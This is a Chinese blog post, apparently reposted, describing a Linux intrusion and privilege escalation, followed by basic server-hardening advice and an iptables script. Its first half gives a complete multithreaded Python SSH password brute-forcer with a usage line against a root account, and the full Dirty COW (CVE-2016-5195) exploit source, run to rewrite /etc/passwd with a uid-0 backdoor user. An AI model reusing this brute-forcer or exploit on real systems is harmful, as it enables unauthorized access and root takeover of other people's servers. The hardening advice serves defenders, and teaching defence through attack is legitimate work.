龙空技术网

记录一次黑客入侵提权的过程(网络安全的自我修养)

运维阿文 3498

前言:

现时小伙伴们对“centos65单用户”大致比较关心,大家都需要了解一些“centos65单用户”的相关知识。那么小编在网上网罗了一些关于“centos65单用户””的相关资讯,希望姐妹们能喜欢,大家快快来学习一下吧!

记录一次黑客入侵提权的过程(网络安全的自我修养)

漏洞编号:CVE-2016-5195

漏洞名称:脏牛(Dirty COW)

漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权

影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。

360 Vulpecker Team:Android 7.0最新的10月补丁安全级别的系统上测试过漏洞POC,确认Android受

记录一次黑客入侵提权的过程(网络安全的自我修养)

今天主要内容

聊一聊关于渗透方面的东西 也就是网安 黑客 渗透 软件来勒索 运维必须要会的东西 你必须要会攻击才会防御 如果遇到一些问题或者有一些知识想招人问一下,推荐一个群,群里面也有一些做运维和python的大牛相互交流,并整理了大量的学习资料和免费视频,喜欢python和想做运维的可以加群: 526929231 欢迎大家来讨论各种技术,一起快速成长

我们先来看一台裸奔的机器

我们可以通过暴力破解的方式来破解它的密码

用python写一个暴力破解的软件 这个软件一般用来破解普通用户的权限 使用linux 内核的漏洞来进行提权

企业防御 渗透攻击 代理服务器 cc攻击 一般都是使用代理的方式 但是5次之后会更换IP地址

或者一些webshell或者一些软件的漏洞来获取一些普通用户的权限

image.png

image.png

image.png

漏洞的危害

image.png

通过webshell我们只能拿到普通用户的权限 那么我们怎么把普通用户的权限变成root权限?

#!/bin/pythonimport optparse# 时间模块import time#threading是python里面多线程的模块from threading import *#pexpect是我们的登录ssh的一个模块from pexpect import pxssh#最大的并发是多少maxConnections = 100#线程锁connection_lock = BoundedSemaphore(value=maxConnections)Found = FalseFails = 0#connect 用来连接我们sshdef connect(host, user, password, release): global Found global Fails try: s = pxssh.pxssh() #ssh .login(模拟登录的方法) s.login(host, user, password) #如果我可以直接登录上去 那么我密码是不是正确的 print '[+] Password Found: ' + password Found = True except Exception, e: if 'read_nonblocking' in str(e): Fails += 1 time.sleep(5) connect(host, user, password, False) elif 'synchronize with original prompt' in str(e): time.sleep(1) connect(host, user, password, False) finally: if release: connection_lock.release()def main(): parser = optparse.OptionParser('usage %prog -H <target host> -u <user> -F <password list>' ) parser.add_option('-H', dest='tgtHost', type='string', help='specify target host') parser.add_option('-F', dest='passwdFile', type='string', help='specify password file') parser.add_option('-u', dest='user', type='string', help='specify the user') (options, args) = parser.parse_args() host = options.tgtHost passwdFile = options.passwdFile user = options.user if host == None or passwdFile == None or user == None: print parser.usage exit(0) fn = open(passwdFile, 'r') for line in fn.readlines(): #line表示什么  #Found=False if Found: print "[*] Exiting: Password Found" exit(0) if Fails > 5: print "[!] Exiting: Too Many Socket Timeouts" exit(0) connection_lock.acquire() password = line.strip('\r').strip('\n') print "[-] Testing: "+str(password) #print - testing aaaaaaaaaa t = Thread(target=connect, args=(host, user, password, True)) child = t.start()if __name__ == '__main__': main()
#-H 是指你要破解的远程主机 -u是你要破解机器的用户 -F 是字典文件 里面会包含你要去尝试的密码[root@vagrant-centos65 opt]# python pass.py -H 192.168.1.14 -u root -F aaa

我们可以通过提权的方式来做 webshell 普通拥有root权限

一般提权有三种方式 我们今天采用漏洞的方式来提权 一个肉鸡就到手

为什么要提权,因为我们如果要留后门没有root权限是没有办法去做的

比如一个简单的后门 我们通过useradd 创建一个普通用户 那么我们下次就可以通过这个普通用户来登录这个服务器了,这个就是比较简单的后门程序

// $ echo pikachu|sudo tee pokeball;ls -l pokeball;gcc -pthread pokemon.c -o d;./d pokeball miltank;cat pokeball#include <fcntl.h> //// pikachu#include <pthread.h> //// -rw-r--r-- 1 root root 8 Apr 4 12:34 pokeball#include <string.h> //// pokeball#include <stdio.h> //// (___)#include <stdint.h> //// (o o)_____/#include <sys/mman.h> //// @@ ` \#include <sys/types.h> //// \ ____, /miltank#include <sys/stat.h> //// // //#include <sys/wait.h> //// ^^ ^^#include <sys/ptrace.h> //// mmap bc757000#include <unistd.h> //// madvise 0////////////////////////////////////////////// ptrace 0////////////////////////////////////////////// miltank//////////////////////////////////////////////int f ;// file descriptorvoid *map ;// memory mappid_t pid ;// process idpthread_t pth ;// threadstruct stat st ;// file info//////////////////////////////////////////////void *madviseThread(void *arg) {// madvise threadint i,c=0 ;// countersfor(i=0;i<200000000;i++)//////////////////// loop to 2*10**8 c+=madvise(map,100,MADV_DONTNEED) ;// race conditionprintf("madvise %d\n\n",c) ;// sum of errors }// /madvise thread//////////////////////////////////////////////int main(int argc,char *argv[]) {// entrypointif(argc<3)return 1 ;// ./d file contentsprintf("%s \n\ (___) \n\ (o o)_____/ \n\ @@ ` \\ \n\ \\ ____, /%s \n\ // // \n\ ^^ ^^ \n\", argv[1], argv[2]) ;// dirty cowf=open(argv[1],O_RDONLY) ;// open read only filefstat(f,&st) ;// stat the fdmap=mmap(NULL ,// mmap the file st.st_size+sizeof(long) ,// size is filesize plus padding PROT_READ ,// read-only MAP_PRIVATE ,// private mapping for cow f ,// file descriptor 0) ;// zeroprintf("mmap %lx\n\n",(unsigned long)map);// sum of error codepid=fork() ;// fork processif(pid) {// if parent waitpid(pid,NULL,0) ;// wait for child int u,i,o,c=0,l=strlen(argv[2]) ;// util vars (l=length) for(i=0;i<10000/l;i++)//////////////////// loop to 10K divided by l for(o=0;o<l;o++)//////////////////////// repeat for each byte for(u=0;u<10000;u++)////////////////// try 10K times each time c+=ptrace(PTRACE_POKETEXT ,// inject into memory pid ,// process id map+o ,// address *((long*)(argv[2]+o))) ;// value printf("ptrace %d\n\n",c) ;// sum of error code }// otherwiseelse {// child pthread_create(&pth ,// create new thread NULL ,// null madviseThread ,// run madviseThred NULL) ;// null ptrace(PTRACE_TRACEME) ;// stat ptrace on child kill(getpid(),SIGSTOP) ;// signal parent pthread_join(pth,NULL) ;// wait for thread }// / childreturn 0 ;// return }// / entrypoint//////////////////////////////////////////////./d /etc/passwd awen:x:0:0::/home/awen:/bin/bash

image.png

image.png

那么我们在真实的环境当中应该怎么去做防御,防止服务器被破解,或者说通过一些漏洞来防御

基本的防护措施:

1)从以往碰到的实例来分析,密码太简单是一个错

用户名默认,密码太简单是最容易被入侵的对象,所以切忌不要使用太过于简单的密码,先前碰到的那位客户就是使用了太简单的且规则的密码 1q2w3e4r5t, 这种密码在扫描的软件里是通用的,所以很容易被别人扫描出来的。

2)不要使用默认的远程端口,避免被扫描到

扫描的人都是根据端口扫描,然后再进行密码扫描,默认的端口往往就是扫描器的对象,他们扫描一个大的IP 段,哪些开放22端口且认为是ssh服务的linux系统,所以才会猜这机器的密码。更改远程端口也是安全的一个措施!

3)使用一些安全策略进行保护系统开放的端口

使用iptables或者配置/etc/hosts.deny 和/etc/hosts.allow进行白名单设置

可以对/etc/passwd、/etc/group、/etc/sudoers、/etc/shadow等用户信息文件进行锁定(chattr +ai)

4)禁ping设置

# echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

企业级的防御措施

1.漏洞扫描

image.png

入侵检测

审计系统(堡垒机)

应急响应

一、是否入侵检查

二、linux系统被入侵/中毒的表象 流量 服务器去挖矿

三、Linux系统被入侵/中毒的解决过程

四、怎样确保下次不会被同样的方法入侵

标准规范

image.png

image.png

操作系统及开源组件的版本

密钥定期修改规范

端口使用规范

管理后台对外开放规范

iptables通用脚本

#!/bin/bash# Descript:The Firewall Script.iptables -F INPUTiptables -F OUTPUTiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -A INPUT -m state --state ESTABLISHED,INVALID -j ACCEPTiptables -A INPUT -i lo -j ACCEPTiptables -A INPUT -p tcp -m multiport --dport 443,22,21,843,80 -j ACCEPTiptables -A INPUT -p tcp -s 10.0.0.0/8 -j ACCEPTiptables -A INPUT -p tcp -s 192.168.0/16 -j ACCEPTiptables -A INPUT -p tcp -s 172.16.0.0/8 -j ACCEPTiptables -I INPUT -s 8.8.8.8 -j ACCEPTiptables -I INPUT -s 127.0.0.1 -p udp --dport 161 -j ACCEPTiptables -A INPUT -p icmp -j ACCEPT

我做6年运维 做了3年运维开发 写运维工具 python写的自动化运维 内核漏洞 C开发 python 安全这一块只是你工作的一小部分 监控 自动化运维平台 数据库 架构进行一些优化 主要语言肯定是python 自动化运维 运维开发 用的最多的运维工具有2个 slatsatck ansible 这个2个工具都是用python开发的

自助更新工具 每周发布一次版本 开发每天都在写代码 每天都是代码放到服务器测试 docker 数据库要回档 最近2年是自动化运维 以后普通的运维会越来越少 但是高端的运维需求会越来越多

标签: #centos65单用户